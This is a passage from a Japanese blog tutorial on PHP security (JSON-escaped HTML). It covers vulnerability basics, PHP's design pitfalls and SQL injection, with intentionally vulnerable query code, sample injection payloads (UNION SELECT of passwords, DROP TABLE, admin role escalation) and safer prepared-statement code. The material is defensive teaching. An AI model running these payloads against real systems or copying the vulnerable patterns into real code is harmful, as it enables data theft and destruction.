PHP\u30e9\u30a4\u30d6\u30e9\u30ea\u306e\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483<\/h4>\n\n\n\n<p>2024\u5e74\u5f8c\u534a\u3001PHP\u306e\u30e6\u30cb\u30c3\u30c8\u30c6\u30b9\u30c8\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u4f9d\u5b58\u30e9\u30a4\u30d6\u30e9\u30ea\u306b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u304c\u4ed5\u8fbc\u307e\u308c\u308b\u4e8b\u4ef6\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483\u306f\u3001\u6b63\u898f\u306e\u958b\u767a\u8005\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u304c\u4fb5\u5bb3\u3055\u308c\u305f\u3053\u3068\u3067\u5b9f\u884c\u3055\u308c\u3001\u611f\u67d3\u3057\u305f\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u305f\u958b\u767a\u74b0\u5883\u304b\u3089\u672c\u756a\u74b0\u5883\u3078\u306e\u30d0\u30c3\u30af\u30c9\u30a2\u304c\u4f5c\u6210\u3055\u308c\u307e\u3057\u305f\u3002\u591a\u6570\u306e\u30c6\u30c3\u30af\u4f01\u696d\u304c\u3053\u306e\u653b\u6483\u306e\u5f71\u97ff\u3092\u53d7\u3051\u3001\u5e73\u5747\u306772\u6642\u9593\u306e\u30b7\u30b9\u30c6\u30e0\u30c0\u30a6\u30f3\u30bf\u30a4\u30e0\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002<\/p>\n\n\n\n<p>\u3053\u308c\u3089\u306e\u4e8b\u4f8b\u306f\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u304c\u5358\u306a\u308b\u6280\u8853\u7684\u554f\u984c\u3067\u306f\u306a\u304f\u3001\u91cd\u5927\u306a\u7d4c\u6e08\u7684\u640d\u5931\u3001\u4fe1\u983c\u306e\u55aa\u5931\u3001\u6cd5\u7684\u8cac\u4efb\u3001\u305d\u3057\u3066\u6642\u306b\u306f\u4f01\u696d\u306e\u5b58\u7d9a\u306b\u3055\u3048\u5f71\u97ff\u3092\u53ca\u307c\u3059\u53ef\u80fd\u6027\u304c\u3042\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u9069\u5207\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u306e\u5b9f\u65bd\u306f\u3001\u5358\u306a\u308b\u30aa\u30d7\u30b7\u30e7\u30f3\u3067\u306f\u306a\u304f\u5fc5\u9808\u306e\u53d6\u308a\u7d44\u307f\u3068\u3044\u3048\u308b\u3067\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-11\">PHP\u8106\u5f31\u6027\u306e\u57fa\u672c\u77e5\u8b58<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-12\">\u8106\u5f31\u6027\u3068\u306f\u4f55\u304b \u2013 \u57fa\u672c\u7684\u306a\u6982\u5ff5\u306e\u7406\u89e3<\/h3>\n\n\n\n<p>\u8106\u5f31\u6027\uff08Vulnerability\uff09\u3068\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u640d\u306a\u3046\u53ef\u80fd\u6027\u306e\u3042\u308b\u6b20\u9665\u3084\u5f31\u70b9\u306e\u3053\u3068\u3067\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u3001\u653b\u6483\u8005\u304c\u30b7\u30b9\u30c6\u30e0\u306b\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3057\u305f\u308a\u3001\u30c7\u30fc\u30bf\u3092\u6f0f\u6d29\u3055\u305b\u305f\u308a\u3001\u30b5\u30fc\u30d3\u30b9\u3092\u59a8\u5bb3\u3057\u305f\u308a\u3059\u308b\u305f\u3081\u306b\u60aa\u7528\u3067\u304d\u308b\u72b6\u614b\u3084\u6761\u4ef6\u3092\u6307\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u8106\u5f31\u6027\u304c\u767a\u751f\u3059\u308b\u6839\u672c\u7684\u306a\u539f\u56e0\u306f\u3001\u4e3b\u306b\u4ee5\u4e0b\u306e3\u3064\u306b\u5206\u985e\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-13\">1. \u8a2d\u8a08\u4e0a\u306e\u6b20\u9665<\/h4>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8981\u4ef6\u3092\u8003\u616e\u305b\u305a\u306b\u30b7\u30b9\u30c6\u30e0\u3092\u8a2d\u8a08\u3057\u305f\u5834\u5408\u306b\u751f\u3058\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u30e6\u30fc\u30b6\u30fc\u8a8d\u8a3c\u6a5f\u80fd\u3092\u8a2d\u8a08\u3059\u308b\u969b\u306b\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u30ea\u30bb\u30c3\u30c8\u6a5f\u80fd\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u8003\u616e\u3057\u3066\u3044\u306a\u3051\u308c\u3070\u3001\u653b\u6483\u8005\u306b\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u4e57\u3063\u53d6\u3089\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-14\">2. \u5b9f\u88c5\u30df\u30b9<\/h4>\n\n\n\n<p>\u8a2d\u8a08\u306f\u9069\u5207\u3067\u3082\u3001\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u6bb5\u968e\u3067\u306e\u30df\u30b9\u306b\u3088\u308a\u767a\u751f\u3057\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001SQL\u30af\u30a8\u30ea\u5b9f\u884c\u524d\u306b\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u9069\u5207\u306b\u691c\u8a3c\u30fb\u30a8\u30b9\u30b1\u30fc\u30d7\u3057\u306a\u3044\u5834\u5408\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u304c\u751f\u3058\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8106\u5f31\u306a\u30b3\u30fc\u30c9\u4f8b\n$query = \"SELECT * FROM users WHERE username = '\" . $_GET['username'] . \"'\";\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-15\">3. \u904b\u7528\u4e0a\u306e\u554f\u984c<\/h4>\n\n\n\n<p>\u30b7\u30b9\u30c6\u30e0\u306e\u8a2d\u5b9a\u30df\u30b9\u3084\u66f4\u65b0\u306e\u6020\u308a\u306b\u3088\u308b\u8106\u5f31\u6027\u3067\u3059\u3002\u4f8b\u3048\u3070\u3001\u672c\u756a\u74b0\u5883\u3067PHP\u306e\u30a8\u30e9\u30fc\u8868\u793a\u3092\u6709\u52b9\u306b\u3057\u305f\u307e\u307e\u306b\u3059\u308b\u3068\u3001\u653b\u6483\u8005\u306b\u5185\u90e8\u60c5\u5831\u304c\u6f0f\u6d29\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u8106\u5f31\u6027\u306f\u3001\u305d\u306e\u7279\u6027\u3084\u5f71\u97ff\u5ea6\u306b\u3088\u3063\u3066\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\uff08CVSS\uff09\u306a\u3069\u3067\u8a55\u4fa1\u3055\u308c\u3001\u6df1\u523b\u5ea6\u304c\u5224\u65ad\u3055\u308c\u307e\u3059\u3002\u307e\u305f\u3001\u5171\u901a\u8106\u5f31\u6027\u8b58\u5225\u5b50\uff08CVE\uff09\u306b\u3088\u3063\u3066\u4e00\u610f\u306b\u8b58\u5225\u3055\u308c\u7ba1\u7406\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p>PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u304a\u3051\u308b\u8106\u5f31\u6027\u306f\u3001\u591a\u304f\u306e\u5834\u5408\u300c\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u4e0d\u9069\u5207\u306a\u51e6\u7406\u300d\u304c\u6839\u672c\u539f\u56e0\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u5916\u90e8\u304b\u3089\u306e\u5165\u529b\u3092\u5e38\u306b\u53d7\u3051\u4ed8\u3051\u308b\u305f\u3081\u3001\u305d\u306e\u5165\u529b\u3092\u9069\u5207\u306b\u691c\u8a3c\u30fb\u30b5\u30cb\u30bf\u30a4\u30ba\u30fb\u30a8\u30b9\u30b1\u30fc\u30d7\u3057\u306a\u3044\u3053\u3068\u3067\u3001\u69d8\u3005\u306a\u7a2e\u985e\u306e\u8106\u5f31\u6027\u304c\u751f\u307e\u308c\u308b\u306e\u3067\u3059\u3002<\/p>\n\n\n\n<p>\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u9632\u5fa1\u306e\u57fa\u672c\u539f\u5247\u306f\u300c\u6df1\u5c64\u9632\u5fa1\u300d\u3067\u3059\u3002\u3053\u308c\u306f\u5358\u4e00\u306e\u9632\u5fa1\u7b56\u306b\u983c\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u8907\u6570\u306e\u5c64\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u3053\u3068\u3067\u3001\u4e00\u3064\u306e\u5bfe\u7b56\u304c\u7834\u3089\u308c\u3066\u3082\u4ed6\u306e\u5bfe\u7b56\u3067\u30b7\u30b9\u30c6\u30e0\u3092\u9632\u5fa1\u3067\u304d\u308b\u3088\u3046\u306b\u3059\u308b\u8003\u3048\u65b9\u3067\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-16\">PHP\u306b\u304a\u3051\u308b\u8106\u5f31\u6027\u306e\u7279\u5fb4<\/h3>\n\n\n\n<p>PHP\u306b\u306f\u4ed6\u306e\u30d7\u30ed\u30b0\u30e9\u30df\u30f3\u30b0\u8a00\u8a9e\u3068\u6bd4\u8f03\u3057\u305f\u5834\u5408\u3001\u72ec\u7279\u306e\u7279\u5fb4\u304c\u3042\u308a\u3001\u305d\u308c\u304c\u8106\u5f31\u6027\u306e\u767a\u751f\u30d1\u30bf\u30fc\u30f3\u306b\u3082\u5f71\u97ff\u3092\u4e0e\u3048\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-17\">\u8a00\u8a9e\u8a2d\u8a08\u306b\u8d77\u56e0\u3059\u308b\u7279\u5fb4<\/h4>\n\n\n\n<p>PHP\u306f1994\u5e74\u306b\u500b\u4eba\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3068\u3057\u3066\u59cb\u307e\u308a\u3001\u5f53\u521d\u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3088\u308a\u3082\u300c\u9ad8\u901f\u306b\u52d5\u4f5c\u3059\u308bWeb\u30da\u30fc\u30b8\u3092\u7c21\u5358\u306b\u4f5c\u308c\u308b\u300d\u3053\u3068\u3092\u91cd\u8996\u3057\u3066\u8a2d\u8a08\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u6b74\u53f2\u7684\u80cc\u666f\u304b\u3089\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u7279\u5fb4\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5f31\u3044\u578b\u4ed8\u3051\u3068\u578b\u306e\u81ea\u52d5\u5909\u63db<\/strong> PHP\u306f\u5909\u6570\u306e\u578b\u3092\u53b3\u5bc6\u306b\u30c1\u30a7\u30c3\u30af\u305b\u305a\u3001\u6587\u8108\u306b\u5fdc\u3058\u3066\u81ea\u52d5\u7684\u306b\u578b\u5909\u63db\u3092\u884c\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u4e88\u671f\u3057\u306a\u3044\u52d5\u4f5c\u304c\u767a\u751f\u3057\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u306b\u3064\u306a\u304c\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002 <code>\/\/ \u6570\u5024\u3068\u6587\u5b57\u5217\u306e\u6bd4\u8f03 if (\"0e123456\" == \"0e789012\") { \/\/ true \u3068\u8a55\u4fa1\u3055\u308c\u308b \/\/ \u4e21\u65b9\u304c\u79d1\u5b66\u7684\u8868\u8a18\u6cd5\u3068\u3057\u3066\u89e3\u91c8\u3055\u308c\u308b\u305f\u3081 }<\/code><\/li>\n\n\n\n<li><strong>\u30b9\u30fc\u30d1\u30fc\u30b0\u30ed\u30fc\u30d0\u30eb\u5909\u6570\u306e\u5b58\u5728<\/strong> <code>$_GET<\/code>\u3001<code>$_POST<\/code>\u3001<code>$_REQUEST<\/code>\u306a\u3069\u306e\u30b9\u30fc\u30d1\u30fc\u30b0\u30ed\u30fc\u30d0\u30eb\u5909\u6570\u306f\u3001\u3069\u3053\u304b\u3089\u3067\u3082\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u3067\u3001\u30b3\u30fc\u30c9\u306e\u8907\u96d1\u6027\u3092\u9ad8\u3081\u3001\u5165\u529b\u691c\u8a3c\u306e\u4e0d\u5099\u3092\u62db\u304d\u3084\u3059\u304f\u306a\u308a\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u306e\u554f\u984c<\/strong> PHP\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u306f\u5229\u4fbf\u6027\u3092\u512a\u5148\u3057\u3066\u304a\u308a\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u6700\u512a\u5148\u306b\u306f\u3057\u3066\u3044\u307e\u305b\u3093\u3002\u4f8b\u3048\u3070\u3001\u9577\u3044\u9593\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u6709\u52b9\u3060\u3063\u305f<code>allow_url_fopen<\/code>\u306f\u3001\u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027\u306e\u30ea\u30b9\u30af\u3092\u9ad8\u3081\u3066\u3044\u307e\u3057\u305f\u3002<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-18\">\u4ed6\u8a00\u8a9e\u3068\u306e\u6bd4\u8f03<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Java<\/strong>\u3068\u6bd4\u8f03\u3059\u308b\u3068\u3001PHP\u306f\u9759\u7684\u578b\u4ed8\u3051\u3084\u30b3\u30f3\u30d1\u30a4\u30eb\u6642\u306e\u30c1\u30a7\u30c3\u30af\u304c\u306a\u304f\u3001\u5b9f\u884c\u6642\u306b\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u3084\u3059\u3044<\/li>\n\n\n\n<li><strong>Python<\/strong>\u3068\u6bd4\u8f03\u3059\u308b\u3068\u3001PHP\u306f\u30a4\u30f3\u30c7\u30f3\u30c8\u306b\u3088\u308b\u30b3\u30fc\u30c9\u69cb\u9020\u306e\u5f37\u5236\u304c\u306a\u304f\u3001\u30b3\u30fc\u30c9\u306e\u53ef\u8aad\u6027\u304c\u4e0b\u304c\u308a\u30d0\u30b0\u304c\u6df7\u5165\u3057\u3084\u3059\u3044<\/li>\n\n\n\n<li><strong>C#\/.NET<\/strong>\u3068\u6bd4\u8f03\u3059\u308b\u3068\u3001PHP\u306f\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u30ec\u30d9\u30eb\u3067\u306e\u7d71\u5408\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u304c\u5c11\u306a\u3044<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-19\">\u30e2\u30c0\u30f3PHP\u306e\u9032\u5316<\/h4>\n\n\n\n<p>PHP 7.x\u304a\u3088\u30738.x\u30b7\u30ea\u30fc\u30ba\u3067\u306f\u3001\u591a\u304f\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6539\u5584\u304c\u884c\u308f\u308c\u3066\u3044\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u578b\u5ba3\u8a00\uff08Type Declarations\uff09\u306e\u30b5\u30dd\u30fc\u30c8\u5f37\u5316<\/li>\n\n\n\n<li>\u53e4\u3044\u5371\u967a\u306a\u6a5f\u80fd\u306e\u524a\u9664\uff08register_globals\u3001magic_quotes_gpc\u306a\u3069\uff09<\/li>\n\n\n\n<li>\u30a8\u30e9\u30fc\u51e6\u7406\u306e\u6539\u5584\u3068\u30a8\u30e9\u30fc\u30ec\u30dd\u30fc\u30c6\u30a3\u30f3\u30b0\u306e\u5f37\u5316<\/li>\n<\/ul>\n\n\n\n<p>\u3057\u304b\u3057\u3001\u6700\u65b0\u306ePHP\u3092\u4f7f\u7528\u3057\u3066\u3044\u3066\u3082\u3001\u8a00\u8a9e\u8a2d\u8a08\u306e\u7279\u6027\u306b\u8d77\u56e0\u3059\u308b\u6f5c\u5728\u7684\u306a\u8106\u5f31\u6027\u30ea\u30b9\u30af\u306f\u5b58\u5728\u3059\u308b\u305f\u3081\u3001PHP\u30d7\u30ed\u30b0\u30e9\u30de\u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u5e38\u306b\u610f\u8b58\u3057\u305f\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u304c\u6c42\u3081\u3089\u308c\u307e\u3059\u3002\u307e\u305f\u3001PHP\u81ea\u4f53\u306e\u554f\u984c\u3068\u3044\u3046\u3088\u308a\u3082\u3001\u305d\u308c\u3092\u4f7f\u7528\u3059\u308b\u958b\u767a\u8005\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u77e5\u8b58\u4e0d\u8db3\u304c\u6700\u5927\u306e\u8106\u5f31\u6027\u8981\u56e0\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-20\">9\u3064\u306e\u4e3b\u8981\u306aPHP\u8106\u5f31\u6027\u30bf\u30a4\u30d7\u3068\u5bfe\u7b56<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-21\">SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3 \u2013 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u64cd\u4f5c\u3092\u60aa\u7528\u3057\u305f\u653b\u6483<\/h3>\n\n\n\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306f\u3001\u6700\u3082\u4e00\u822c\u7684\u304b\u3064\u5371\u967a\u306aWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u306e\u4e00\u3064\u3067\u3059\u3002\u653b\u6483\u8005\u304cSQL\u30af\u30a8\u30ea\u306e\u69cb\u9020\u3092\u6539\u5909\u3057\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u5bfe\u3057\u3066\u4e0d\u6b63\u306a\u64cd\u4f5c\u3092\u884c\u3046\u3053\u3068\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-22\">\u653b\u6483\u306e\u4ed5\u7d44\u307f\u3068\u5371\u967a\u6027<\/h4>\n\n\n\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u5024\u304cSQL\u6587\u306b\u76f4\u63a5\u7d50\u5408\u3055\u308c\u308b\u3053\u3068\u3067\u767a\u751f\u3057\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u3088\u3046\u306aPHP\u30b3\u30fc\u30c9\u304c\u8106\u5f31\u6027\u3092\u6301\u3061\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8106\u5f31\u306a\u30b3\u30fc\u30c9\u4f8b\n$username = $_POST['username'];\n$query = \"SELECT * FROM users WHERE username = '$username'\";\n$result = $mysqli-&gt;query($query);\n<\/pre>\n\n\n\n<p>\u653b\u6483\u8005\u304c\u5165\u529b\u30d5\u30a3\u30fc\u30eb\u30c9\u306b <code>admin' OR '1'='1<\/code> \u306e\u3088\u3046\u306a\u30c6\u30ad\u30b9\u30c8\u3092\u5165\u529b\u3059\u308b\u3068\u3001\u7d50\u679c\u7684\u306b\u4ee5\u4e0b\u306eSQL\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">SELECT * FROM users WHERE username = 'admin' OR '1'='1'\n<\/pre>\n\n\n\n<p>\u3053\u308c\u306b\u3088\u308a\u3001\u5e38\u306b\u771f\u3068\u306a\u308b\u6761\u4ef6\u304c\u8ffd\u52a0\u3055\u308c\u3001\u5168\u30e6\u30fc\u30b6\u30fc\u306e\u30c7\u30fc\u30bf\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u3055\u3089\u306b\u60aa\u8cea\u306a\u653b\u6483\u3067\u306f\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u64cd\u4f5c\u3082\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u5185\u5bb9\u306e\u53d6\u5f97\uff1a<code>' UNION SELECT username, password FROM users --<\/code><\/li>\n\n\n\n<li>\u30c7\u30fc\u30bf\u306e\u524a\u9664\u30fb\u6539\u3056\u3093\uff1a<code>'; DROP TABLE users; --<\/code><\/li>\n\n\n\n<li>\u7ba1\u7406\u8005\u6a29\u9650\u306e\u596a\u53d6\uff1a<code>'; UPDATE users SET role = 'admin' WHERE username = 'attacker'; --<\/code><\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-23\">\u9632\u5fa1\u7b56\uff1a\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u306e\u4f7f\u7528<\/h4>\n\n\n\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3092\u9632\u3050\u6700\u3082\u52b9\u679c\u7684\u306a\u65b9\u6cd5\u306f\u3001\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3068\u30d1\u30e9\u30e1\u30fc\u30bf\u30d0\u30a4\u30f3\u30c7\u30a3\u30f3\u30b0\u306e\u4f7f\u7528\u3067\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-24\">PDO\u3092\u4f7f\u7528\u3057\u305f\u5b89\u5168\u306a\u30b3\u30fc\u30c9\u4f8b<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">try {\n    \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\n    $pdo = new PDO('mysql:host=localhost;dbname=mydb', 'username', 'password');\n    $pdo-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n    \n    \/\/ \u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u306e\u6e96\u5099\n    $stmt = $pdo-&gt;prepare(\"SELECT * FROM users WHERE username = :username\");\n    \n    \/\/ \u30d1\u30e9\u30e1\u30fc\u30bf\u306e\u30d0\u30a4\u30f3\u30c9\n    $stmt-&gt;bindParam(':username', $_POST['username'], PDO::PARAM_STR);\n    \n    \/\/ \u30af\u30a8\u30ea\u306e\u5b9f\u884c\n    $stmt-&gt;execute();\n    \n    \/\/ \u7d50\u679c\u306e\u53d6\u5f97\n    $user = $stmt-&gt;fetch(PDO::FETCH_ASSOC);\n} catch (PDOException $e) {\n    \/\/ \u30a8\u30e9\u30fc\u51e6\u7406\n    error_log('\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a8\u30e9\u30fc: ' . $e-&gt;getMessage());\n    echo \"\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002\u7ba1\u7406\u8005\u306b\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044\u3002\";\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-25\">MySQLi\u3092\u4f7f\u7528\u3057\u305f\u5b89\u5168\u306a\u30b3\u30fc\u30c9\u4f8b<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$mysqli = new mysqli('localhost', 'username', 'password', 'database');\n\n\/\/ \u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u306e\u6e96\u5099\n$stmt = $mysqli-&gt;prepare(\"SELECT * FROM users WHERE username = ?\");\n\n\/\/ \u30d1\u30e9\u30e1\u30fc\u30bf\u306e\u30d0\u30a4\u30f3\u30c9\n$stmt-&gt;bind_param(\"s\", $_POST['username']); \/\/ \"s\"\u306f\u6587\u5b57\u5217\u578b\u3092\u610f\u5473\u3059\u308b\n\n\/\/ \u30af\u30a8\u30ea\u306e\u5b9f\u884c\n$stmt-&gt;execute();\n\n\/\/ \u7d50\u679c\u306e\u53d6\u5f97\n$result = $stmt-&gt;get_result();\n$user = $result-&gt;fetch_assoc();\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-26\">\u305d\u306e\u4ed6\u306e\u9632\u5fa1\u7b56<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>ORM\/\u30af\u30a8\u30ea\u30d3\u30eb\u30c0\u30fc\u306e\u4f7f\u7528<\/strong>\uff1aLaravel\u306eEloquent\u3084Doctrine\u306a\u3069\u306eORM\u306f\u3001\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u5185\u90e8\u7684\u306b\u4f7f\u7528\u3057\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u304b\u3089\u306e\u4fdd\u8b77\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u6700\u5c0f\u6a29\u9650\u306e\u539f\u5247<\/strong>\uff1a\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u306b\u4f7f\u7528\u3059\u308b\u30a2\u30ab\u30a6\u30f3\u30c8\u306b\u306f\u3001\u5fc5\u8981\u6700\u5c0f\u9650\u306e\u6a29\u9650\u306e\u307f\u3092\u4e0e\u3048\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u5236\u9650<\/strong>\uff1a\u8a73\u7d30\u306a\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u30e6\u30fc\u30b6\u30fc\u306b\u8868\u793a\u3057\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u5165\u529b\u691c\u8a3c<\/strong>\uff1a\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u4f7f\u7528\u3057\u3